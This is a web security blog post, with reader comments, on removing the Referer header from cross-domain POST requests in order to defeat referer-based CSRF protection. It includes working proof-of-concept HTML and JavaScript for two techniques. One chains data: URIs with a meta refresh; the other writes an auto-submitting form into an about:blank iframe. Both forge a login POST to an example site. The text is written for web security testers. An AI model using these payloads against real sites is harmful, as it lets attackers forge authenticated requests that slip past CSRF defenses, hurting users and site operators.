Stripping the Referer in a Cross Domain POST request

I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)

HTTPS -> HTTP (works if the target is HTTP not HTTPS)

So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.

But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.

data: URIs (works in FF and Chrome)

Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.

<html>
  <body>
   <script type="text/javascript">
  function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +
              '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=example@live.com />' +
              '<input type=hidden name=pass value=password />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}

   </script>

  <a href="#" onclick="post_without_referer()">POST without referer (FF,chrome)</a>
  </body>
</html>

He also includes an IE thing, but that will only work with GET requests.

CORS (doesn’t work afaik)

According to the spec at http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag

referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.

The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.

In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).

about:blank (works in everything)

Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)

Note you have to modify slightly because wordpress snipped out my iframe in tags.

<html>
<head>
<script>
function load() {
    var postdata = '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
                    '<input type=hidden name=email value=example@live.com />' +
                    '<input type=hidden name=pass value=password />' +
                    '<input type=hidden name=locale value=en_US />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
</script>
</head>
<body onload="load()">

< iframe src="about:blank" id="noreferer">< /iframe>


</body>
</html>


7 Responses to Stripping the Referer in a Cross Domain POST request

  1. vargus says:

    Is there a way to use this so as to load a script without it sending a referer? I’m trying to use a web proxy from work and recaptcha refuses to work through web proxies, so I tried creating a bookmarklet that would rewrite the proxied recaptcha script uri as a direct uri so it would load directly from my machine. But when the recaptcha script loads, it always sends the web proxy’s referer, so google refuses to let the recpatcha work.

    • Sounds like a different scenario and I doubt this will help.

      web proxies will vary a lot – like some will mess with referers to try to strip/modify the internal corporate info (that might be what’s happening here?). I try might try to use SSL since unless it does deep inspection it should just forward that traffic along and not mess with the referer

      • vargus says:

        No, the web proxy isn’t messing with the headers in this case. I’m using Chrome’s Developer Tools to inspect the requests and Chrome is still sending a referer header (using the proxy’s url), when the request is made to SSL from non-SSL. What my bookmarklet does is for every script on the page, unproxify the script’s url, if it’s a recaptcha url, replace http with https, then replace the old script with the new script. Here’s a snippet:

                // u is the unproxified url
                u = u.replace(/^http:\/\//i, 'https://');
                var script = document.createElement('script');
                script.type = 'text/javascript';
                script.src = u;
                scripts[i].parentNode.replaceChild(script, scripts[i]);
        
  2. Morris says:

    history.replaceState() can remove the pathname from the referer if:

    * the user is using a modern browser

    * your site itself doesn’t need the path from the referer header

    * your site is set up to handle the new path if the user bookmarks it or otherwise loads or copies the url.

  3. Deepu says:

    If target is checking referer header(in all way),then is it possible to bypass referer header?

  4. Marc says:

    Sir, about:blank is the clever answer that i saw for this question.

    Thanks a lot.

Leave a comment